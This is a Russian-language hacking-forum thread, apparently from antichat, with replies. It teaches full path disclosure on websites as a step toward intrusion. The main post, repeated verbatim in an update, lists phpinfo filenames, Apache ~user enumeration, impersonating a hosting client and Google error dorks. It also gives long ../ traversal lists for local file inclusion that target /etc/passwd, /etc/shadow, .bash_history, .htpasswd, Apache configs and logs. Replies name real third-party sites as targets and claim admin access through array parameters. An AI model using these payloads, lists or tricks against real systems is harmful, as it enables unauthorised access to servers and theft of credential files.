Раскрытие Пути. Последнее время стало появляться много тем как раскрыть локальный путь на сайте. Я попытаюсь рассказать как это можно сделать. Ну во первых зачем его раскрывать... это может into_outfile или нужно имя юзера, или еще что то извращенное нашим умом. И так начем: 1) Файлы с phpinfo() Code: info.php phpinfo.php php.php test.php testphpinfo.php testing.php info.php inf.php это далеко не полный список и бывает такое что они находяться не только в корне но и в др папках например /admin/ 2) Вывод ошибок: Нам надо спровоцировать сервер на вывод ошибки любой что он написал в какой строчки крипта ошибка... как это сделать можно ручками можно сканером. 3) Поиск директорий и файлов. Способ который я очень часто использую, все знаю о существовании cgi сканеров которые сканят на папки и файлы и вот составив внушительный лист этот сканер становиться бесценным. Тоесть мы ищем папки и файлы на которые нету ссылок не где... что может быть в таких папках/файлах ну то что там может быть не устовленный скрипт или просто без конфига то вероятность вывода ошибок повышаеться в 10 раз. 4)Поиск юзера. Многие скептически относяться к это баги... но если сайт на cgi то 90% взлома. Сначало о чнем я говорю не многие думаю поймут. http://site.ru/~root/ возвращает нам 403 значит поиск юзеров разрешен как же его искать например gazprom.ru/~gazprom.ru gazprom.ru/~gazpromru gazprom.ru/~gazpromr gazprom.ru/~gazprom gazprom.ru/~gazpr и так далее. Что же нам это даст? Просмотр папки cgi-bin и то имя которое используеться в /etc/passwd (Эта уязвимость присутствует только в апаче при включенном mod_user) 5)Ошибки в cgi. В cgi так же есть аналоги phpinfo + именно ошибки в cgi-bin будть то скуль или иклуд. Например из стандартных файлов хостера printenv.pl который выводит путь. 6)Хостер Можно просто представиться клинтом и спросить любой путь (если мы знаем имя нашего юзера действуем по аналогии). Можно поискать ошибки на сайтах которые хостяться рядом и по аналогии если нам известно имя юзера, составить свой путь. 7)Поисковые системы. Очень часто в поисковиках остаються те или иные баги... запечатленные на сайтах это может быть временный отказ бд или или отказ в открытие сессии. Поиск осуществляем. Code: site:target.com Будет полезно почитать весь листинг, но если он очень большой то юзаем примерно такие запросы тут все зависит от фантазии. Code: site:target.com Warning site:target.com on line site:target.com mysql_fetch_array() Ну и так далее. 8(new))Логический перебор. Не знаю как правильно назвать этот способ, вообщем случай у нас будет такой есть локальный инклуд или load_file в sql, И нас необходимо узнать путь что бы прочесть тот или иной(способов взлома в такой ситуации много но остановимся именно на чтении файлов и поиске путя до www) Сначало подумает что нам может помочь вообще??? 1) Утсновленная ОС 2)Сервер (http) 3)тип сервера (хостинг/vds/vps/отдельная станция) 4)Список юзеров (/etc/passwd) 5)Конфиги логи и все что мы сможем найти. 6)Кофе Сигареты и много терпения. И так я рассмотрю OC *nix и сервер apache как самые частые. ну начнем с определения oс в этом на поможет nmap или любой другой сканер можем так же воспользоваться telenet . Определили стоит linux. Для начала прочтем /etc/passwd найдем своего юзера и посмотрим его домашний каталог. определяем какуюто страничку на сервере например site.com/index.htm теперь мы имеем подобную загадку /home/user/***/***/ ... /index.htm теперь начинаем перебирать в таком стиле: Code: /home/user/www/index.htm /home/user/html/index.htm /home/user/site/www/index.htm /home/user/sites/site.com/index.htm Скажу что за 2 часа ручного перебора и разумеется богатого воображения можно перебрать практически все возможные варианты. Code: USER CONFS /.bash_history /.htpasswd /.htaccess /etc/.htpasswd /etc/shadow /root/.bash_history HTTPD /usr/local/apache/conf/httpd.conf /usr/apache/conf/httpd.conf /usr/local/httpd/conf/httpd.conf /usr/local/http/conf/httpd.conf /usr/http/conf/httpd.conf /usr/httpd/conf/httpd.conf В конфигах апача можно найти реальный путь и еще много чего интересного. ищем логи Code: ../../../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../../../var/log/httpd/error_log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../apache/logs/error.log ../../../../apache/logs/access.log ../../../../../apache/logs/error.log ../../../../../apache/logs/access.log ../../../../../../apache/logs/error.log ../../../../../../apache/logs/access.log ../../../../../../../apache/logs/error.log ../../../../../../../apache/logs/access.log ../../../../../../../../apache/logs/error.log ../../../../../../../../apache/logs/access.log ../../../logs/error.log ../../../logs/access.log ../../../../logs/error.log ../../../../logs/access.log ../../../../../logs/error.log ../../../../../logs/access.log ../../../../../../logs/error.log ../../../../../../logs/access.log ../../../../../../../logs/error.log ../../../../../../../logs/access.log ../../../../../../../../logs/error.log ../../../../../../../../logs/access.log ../../../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/log/error_log Поиск с ../../../ применять только при инклудах. Пока все ждите обновлений.
RE:" 3) Поиск директорий и файлов. Способ который я очень часто использую, все знаю о существовании cgi сканеров которые сканят на папки и файлы и вот составив внушительный лист этот сканер становиться бесценным. Тоесть мы ищем папки и файлы на которые нету ссылок не где... что может быть в таких папках/файлах ну то что там может быть не устовленный скрипт или просто без еонфига то вероятность вывода ошибок повышаеться в 10 раз." - вот именно этим я и заморочился здесь->http://forum.antichat.ru/showthread.php?p=259242 Так что предлагаю совместными усилиями пополнять этот список=)
очень маленькая статья получилась, ну да ладно, в конце сам написал что будет дополнена - будем ждать. И еще исправь - без еонфига, скиптичиски, редом ...
Че то у меня нифига неполучаеться http://www.rl3.ru/~root/ Выводит 403 ошибку А http://www.rl3.ru/~rl3ru/ просто заново загружает сайт
Добавлю... Очень хороший сканер, ищущий директории файлов это IntelliTamper . Сам юзаю. А вобще интересная статья +.
2D=P=CH= MOD= Полное гавно так как ищет линкованные страницы и все это еще и грузит на комп море трафика и 0 пользы учитывая что все эти ссылки ты можешь найти сам. Если хочешь действительно хорошего результата использую свой спиок файлов и папок у меня например щас 34.000 записей, иногда подобный скан заменяет ls.
Обновленно. 8(new))Логический перебор. Не знаю как правильно назвать этот способ, вообщем случай у нас будет такой есть локальный инклуд или load_file в sql, И нас необходимо узнать путь что бы прочесть тот или иной(способов взлома в такой ситуации много но остановимся именно на чтении файлов и поиске путя до www) Сначало подумает что нам может помочь вообще??? 1) Утсновленная ОС 2)Сервер (http) 3)тип сервера (хостинг/vds/vps/отдельная станция) 4)Список юзеров (/etc/passwd) 5)Конфиги логи и все что мы сможем найти. 6)Кофе Сигареты и много терпения. И так я рассмотрю OC *nix и сервер apache как самые частые. ну начнем с определения oс в этом на поможет nmap или любой другой сканер можем так же воспользоваться telenet . Определили стоит linux. Для начала прочтем /etc/passwd найдем своего юзера и посмотрим его домашний каталог. определяем какуюто страничку на сервере например site.com/index.htm теперь мы имеем подобную загадку /home/user/***/***/ ... /index.htm теперь начинаем перебирать в таком стиле: Code: /home/user/www/index.htm /home/user/html/index.htm /home/user/site/www/index.htm /home/user/sites/site.com/index.htm Скажу что за 2 часа ручного перебора и разумеется богатого воображения можно перебрать практически все возможные варианты. Code: USER CONFS /.bash_history /.htpasswd /.htaccess /etc/.htpasswd /etc/shadow /root/.bash_history HTTPD /usr/local/apache/conf/httpd.conf /usr/apache/conf/httpd.conf /usr/local/httpd/conf/httpd.conf /usr/local/http/conf/httpd.conf /usr/http/conf/httpd.conf /usr/httpd/conf/httpd.conf В конфигах апача можно найти реальный путь и еще много чего интересного. ищем логи Code: ../../../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../../../var/log/httpd/error_log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../apache/logs/error.log ../../../../apache/logs/access.log ../../../../../apache/logs/error.log ../../../../../apache/logs/access.log ../../../../../../apache/logs/error.log ../../../../../../apache/logs/access.log ../../../../../../../apache/logs/error.log ../../../../../../../apache/logs/access.log ../../../../../../../../apache/logs/error.log ../../../../../../../../apache/logs/access.log ../../../logs/error.log ../../../logs/access.log ../../../../logs/error.log ../../../../logs/access.log ../../../../../logs/error.log ../../../../../logs/access.log ../../../../../../logs/error.log ../../../../../../logs/access.log ../../../../../../../logs/error.log ../../../../../../../logs/access.log ../../../../../../../../logs/error.log ../../../../../../../../logs/access.log ../../../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/log/error_log Поиск с ../../../ применять только при инклудах. Пока все ждите обновлений.
Есче на ксакепе писали про раскрытие путей. Можа параметр передать в переменную как массив, подставим в имени переменной [] квадратные скобочки http://www.oclcpica.org/?id[]=2&ln=uk Даж в админку так попал http://www.woolsnz-college.com/admin/frameset.php3?post[]=1
хорошая статья!!! не посоветуете какой нибудь сканер cgi уязвимостей в котором можно постоянно обновлять базу?
2Lancellot Сканер acceess diver. Базу надо самому дополнять. Разберусь с машиной напишу дополнение к статье.
Кстати вариант насчет ошибок - довольно часто прокатывает такое: допустим скрипт использует php-сессии (session_start и аналогичное) и включен режим отображения ошибок. Тогда если подставить в идентификатор сессии (в куках или в url) символы не из алфавитноцифрового набора, например точку ".", то интерпретатор PHP выдаст ошибку о неправильных символах в идентификаторе сессии, с раскрытием пути.